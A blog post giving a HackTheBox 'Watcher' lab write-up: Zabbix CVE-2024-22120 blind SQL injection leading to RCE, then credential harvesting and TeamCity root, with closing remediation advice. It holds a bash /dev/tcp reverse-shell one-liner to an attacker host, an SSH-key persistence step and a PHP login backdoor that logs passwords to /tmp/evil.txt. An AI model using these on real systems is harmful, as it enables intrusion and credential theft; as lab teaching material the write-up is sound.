DEV Community

Cover image for HackTheBox: Watcher Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

HackTheBox: Watcher Writeup

Summary

Watcher is a Linux box built around a self-hosted Zabbix monitoring stack.
The front door isn't a permissions misconfig at all - it's a real Zabbix CVE
(CVE-2024-22120), a time-based blind SQL injection in the audit log's
clientip field. Even the read-only guest account can trigger it, because
all it takes is running one of Zabbix's built-in diagnostic scripts (Ping)
against a host you can already see. That injection lets you blind-extract
Zabbix's internal session-signing key and then the Admin's session ID,
purely through response timing - no credentials needed at all - and from
there the same bug chains straight into command execution as the zabbix
system user.

Once inside, rather than trying to crack a bcrypt hash pulled from the
database, this box teaches a "watch and wait" credential-harvesting trick:
patch Zabbix's own login page to log every future login attempt in plaintext,
then use the Audit Log to notice a service account (Frank) auto-logging in
once a minute. Wait one cycle, and Frank's real password lands in your
capture file.

Frank's password is reused on a TeamCity instance bound only to
localhost:8111, reachable through an SSH tunnel. TeamCity's build agent
"Open Terminal" feature runs as root on the host it's installed on —
logging in and opening that terminal is an instant root shell.

Key vulnerabilities:

  1. CVE-2024-22120 — unauthenticated (guest-level) time-based blind SQLi in Zabbix's audit log clientip field → admin session theft → RCE as zabbix
  2. World-writable/editable Zabbix frontend PHP → trivial to plant a credential-logging backdoor
  3. Password reuse between Zabbix and TeamCity
  4. TeamCity build agent terminal running as root → instant privesc

Recon

Standard nmap sweep:

nmap -A -Pn <TARGET_IP> -oA nmap

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp open  http    Apache httpd 2.4.52 (Ubuntu)
|_http-title: "Did not follow redirect to http://watcher.vl/"
Enter fullscreen mode Exit fullscreen mode

Just SSH and a web server externally. Port 80 redirects to watcher.vl, so
that's added to /etc/hosts.

Since there's clearly vhost routing going on, a quick subdomain fuzz turns up
a second site:

ffuf -u http://<TARGET_IP> -H "Host: FUZZ.watcher.vl" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac

zabbix [Status: 200, Size: 3946, Words: 199, Lines: 33, Duration: 162ms]
Enter fullscreen mode Exit fullscreen mode

watcher.vl itself is just a static "uptime monitoring company" landing
page — nothing to exploit there. zabbix.watcher.vl is where the real target
lives: a Zabbix login portal.


Foothold: CVE-2024-22120 (Blind SQLi → Session Theft → RCE)

The login page has "sign in as guest" enabled, which drops you into a
read-only dashboard. The footer discloses the exact Zabbix version, so the
next step is checking that version against known CVEs. A few options turn
up:

  • CVE-2024-42327 — SQLi that leaks an API token, but only works for accounts that actually get an API token (guest doesn't)
  • CVE-2024-22116 — RCE, but requires an authenticated administrator
  • CVE-2024-22120 — a time-based blind SQL injection in the audit log. When Zabbix executes a script against a host, it logs the action to the Audit Log, and the clientip field in that log entry isn't sanitized. That's injectable — and critically, it's triggered just by running a script, something even guest can do.

Setting up the injection:

Under Monitoring → Hosts there's one host in scope for guest. Clicking it
pops a menu with a "Ping" option — no need to touch the host's
configuration at all, just click the host and select the script:

That single action (running Ping against the host) is what generates the
vulnerable audit log entry that the exploit abuses.

To actually pull data out via the blind SQLi, the exploit script needs three
things, all easy to grab from the browser session:

  • The guest session ID — pulled straight out of the zbx_session cookie (it's just base64):
  echo <cookie value> | base64 -d
  {"sessionid":"<guest_sessionid>", ...}
Enter fullscreen mode Exit fullscreen mode
  • A valid scriptid guest is actually allowed to run (found by checking the script-menu response in the browser's dev tools/proxy — guest here only has access to script IDs 1 and 2)
  • The hostid of the visible host (grabbed from the constantly-firing refresh requests on the Hosts page)

Weaponizing it:

Rather than writing the SQLi by hand, I grabbed a public PoC for this exact
CVE:

git clone https://github.com/W01fh4cker/CVE-2024-22120-RCE
Enter fullscreen mode Exit fullscreen mode

This script handles the whole chain in one shot — it sends crafted trapper
protocol packets to port 10051, times the responses to blind-extract Zabbix's
internal session-signing key and then the Admin's live session ID
character by character, and finally uses that recovered admin session to
authorize a script execution containing an arbitrary OS command. Running it
with the guest session ID and the hostid found earlier drops into a
pseudo-shell:

python3 CVE-2024-22120-RCE.py --ip zabbix.watcher.vl --sid <guest_sessionid> --hostid <hostid>

[zabbix_cmd]>>: id
uid=115(zabbix) gid=122(zabbix) groups=122(zabbix)
Enter fullscreen mode Exit fullscreen mode

It's slow (blind SQLi always is), but it lands code execution as zabbix
without ever needing a real password.

Getting a proper shell:

Feeding the tool a normal foreground reverse shell one-liner caused it to
just hang — the exploit script waits for the command to return before it'll
accept another one, and a reverse shell never returns. Backgrounding it with
a trailing & fixed that, letting the payload fire off and the listener
catch the connection:

[zabbix_cmd]>>: bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/443 0>&1' &
Enter fullscreen mode Exit fullscreen mode
nc -lnvp 443
zabbix@watcher:/$
Enter fullscreen mode Exit fullscreen mode

Shell as zabbix, no valid credentials used anywhere in the process.


Post-Exploitation & Credential Harvesting

Finding zabbix-owned paths & other users:

find / -type d -user zabbix 2>/dev/null | grep -Ev '^/proc'
Enter fullscreen mode Exit fullscreen mode

Confirms write access to the frontend PHP tree (important later). Only one
real login user exists on the box besides zabbix.

Pulling DB creds from the Zabbix config and dumping the DB:

Rather than guessing the path, a quick search for Zabbix's config files
turns up the frontend's DB connection file directly:

find / -name "zabbix.conf.php" 2>/dev/null
/usr/share/zabbix/conf/zabbix.conf.php
Enter fullscreen mode Exit fullscreen mode
cat /usr/share/zabbix/conf/zabbix.conf.php
$DB['USER']     = 'zabbix';
$DB['PASSWORD'] = '<ZABBIX_DB_PASSWORD>';
Enter fullscreen mode Exit fullscreen mode
mysql -h localhost -u zabbix -p<ZABBIX_DB_PASSWORD>
mysql> use zabbix;
mysql> select * from users;
+--------+----------+-------------------------------+--------+
| userid | username | passwd (bcrypt)               | roleid |
+--------+----------+-------------------------------+--------+
|      1 | Admin    | $2y$10$E9fS...                |      3 |
|      2 | guest    | $2y$10$89ot...                |      4 |
|      3 | Frank    | $2y$10$9WT5...                |      2 |
+--------+----------+-------------------------------+--------+
Enter fullscreen mode Exit fullscreen mode

The hashes are bcrypt and don't crack against rockyou — not worth burning
time on.

Discovering TeamCity:

ss -tulnp
LISTEN  0.0.0.0:10050    (zabbix_agentd)
LISTEN  0.0.0.0:10051    (zabbix trapper)
LISTEN  127.0.0.1:8111
LISTEN  127.0.0.1:3306   (MySQL)
Enter fullscreen mode Exit fullscreen mode

This is also where 10050/10051 actually show up — from the outside they
weren't exposed, but locally the agent/trapper services are bound wide open.
Port 8111 stands out as unfamiliar, so a quick curl confirms what's behind
it:

curl -v localhost:8111
< HTTP/1.1 401
< WWW-Authenticate: Basic realm="TeamCity"
< WWW-Authenticate: Bearer realm="TeamCity"
Authentication required
To login manually go to "/login.html" page
Enter fullscreen mode Exit fullscreen mode

TeamCity, bound to localhost only. A quick check of running processes
confirms it (and its build agent) run as root. To actually browse it
from my own box, I generated a keypair and dropped the public half into
zabbix's authorized_keys (the account's shell is /nologin, so no
interactive login, but port forwarding still works fine):

mkdir /var/lib/zabbix/.ssh
echo "ssh-ed25519 AAAA...<snipped>... nobody@nothing" > /var/lib/zabbix/.ssh/authorized_keys
chmod 700 /var/lib/zabbix/.ssh
chmod 600 /var/lib/zabbix/.ssh/authorized_keys
Enter fullscreen mode Exit fullscreen mode
ssh -i <private_key> zabbix@watcher.vl -N -L 8111:localhost:8111
Enter fullscreen mode Exit fullscreen mode

Now http://localhost:8111 loads the TeamCity login page from the attacker
box — but there are no valid creds for it yet.

Getting Admin access back in Zabbix:

Since the bcrypt hashes won't crack, the simplest path back to Zabbix as
Admin is just resetting the password directly through the DB access
already in hand, following Zabbix's own documented password-reset procedure
(Zabbix Docs: Password reset):

mysql> UPDATE users SET passwd = '<bcrypt_hash_for_known_password>' WHERE username = 'Admin';
Enter fullscreen mode Exit fullscreen mode

Logging in as Admin with that known password now works.

Backdooring the login page:

With Admin access, the Audit Log is worth checking. Filtering on user
Frank shows Frank authenticating from 127.0.0.1 once a minute, on the
dot
— clearly an automated health-check/keepalive script, not a human.

Since zabbix owns the frontend files, index.php's login handler can be
patched in place to log every submitted username/password pair before
continuing the normal login flow:

if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
    $user = $_POST['name'] ?? '??';
    $password = $_POST['password'] ?? '??';
    $f = fopen('/tmp/evil.txt', 'a+');
    fputs($f, "{$user}:{$password}\n");
    fclose($f);
Enter fullscreen mode Exit fullscreen mode

This is invisible to anyone logging in — the login still succeeds normally,
it's just also logged in cleartext on disk.

Catching Frank's login:

Since Frank's automated login was going to hit the patched page on its next
cycle, all that's left is to wait ~60 seconds:

cat /tmp/evil.txt
Frank:R%)3S7^Hf4TBobb(gVVs
Enter fullscreen mode Exit fullscreen mode

Frank's real password, in plaintext, zero cracking required.


Privilege Escalation: TeamCity Build Agent → root

Back at the tunneled TeamCity login page, Frank's freshly-harvested Zabbix
password is reused successfully:

http://localhost:8111/login.html
Username: Frank
Password: R%)3S7^Hf4TBobb(gVVs
Enter fullscreen mode Exit fullscreen mode

Password reuse strikes again, and Frank turns out to have full admin rights
in TeamCity.

From here: Agents → Default Agent → Open Terminal. TeamCity's build
agent process runs as root on the host, and its built-in web terminal
gives an interactive shell running as that process — no exploitation
needed, just clicking a button:

root
# pwd
/root/TeamCity/buildAgent/bin
# cd /root
# ls
TeamCity  root.txt  scripts  snap
# cat root.txt
<REDACTED>
Enter fullscreen mode Exit fullscreen mode

Box owned.


Attack Chain

Nmap scan (22/tcp SSH, 80/tcp HTTP)
  └─ vhost fuzzing (ffuf) → zabbix.watcher.vl discovered
       └─ Zabbix guest login enabled → version fingerprinted
            └─ CVE-2024-22120: click host → run "Ping" script → triggers vulnerable audit-log entry
                 └─ Time-based blind SQLi on `clientip` → leak session-signing key → leak Admin's live session ID
                      └─ Reuse same bug to authorize arbitrary script execution → RCE as `zabbix`
                           ├─ find conf files → zabbix.conf.php → MySQL creds → dump `users` table (bcrypt, uncracked)
                           ├─ ss -tulnp → 10050/10051 (local agent/trapper) + root-owned TeamCity on 127.0.0.1:8111 → curl confirms TeamCity
                           ├─ Drop SSH key into zabbix's authorized_keys → tunnel 8111 for browser access
                           ├─ Reset Admin's password directly via MySQL UPDATE
                           └─ Backdoor index.php login handler → log creds to /tmp/evil.txt
                                └─ Audit Log shows Frank auto-logging in every 60s
                                     └─ Capture Frank's plaintext password
                                          └─ Log into TeamCity as Frank (password reuse, admin rights)
                                               └─ Agents → Default Agent → Open Terminal (runs as root)
                                                    └─ root shell → cat /root/root.txt
Enter fullscreen mode Exit fullscreen mode

Remediation

  • Patch Zabbix to a version fixed for CVE-2024-22120, CVE-2024-42327, and CVE-2024-22116 — all of these stem from missing input sanitization in server-side SQL, and all are fixed upstream.
  • Disable the guest account if it isn't strictly needed; even "read-only" access here was enough to trigger a script execution and kick off the injection chain.
  • Lock down file permissions on the Zabbix frontend so the web-server user can't rewrite its own PHP source (prevents backdooring index.php).
  • Never reuse passwords across services (Zabbix ↔ TeamCity here) — a compromise of one becomes a compromise of both.
  • Restrict TeamCity's build agent terminal feature, or at minimum don't run the agent process as root - an agent compromise shouldn't equal a full root shell.
  • Rotate credentials used by automated/service accounts (like Frank's here) regularly, and never log plaintext credentials anywhere, even transiently.

Top comments (0)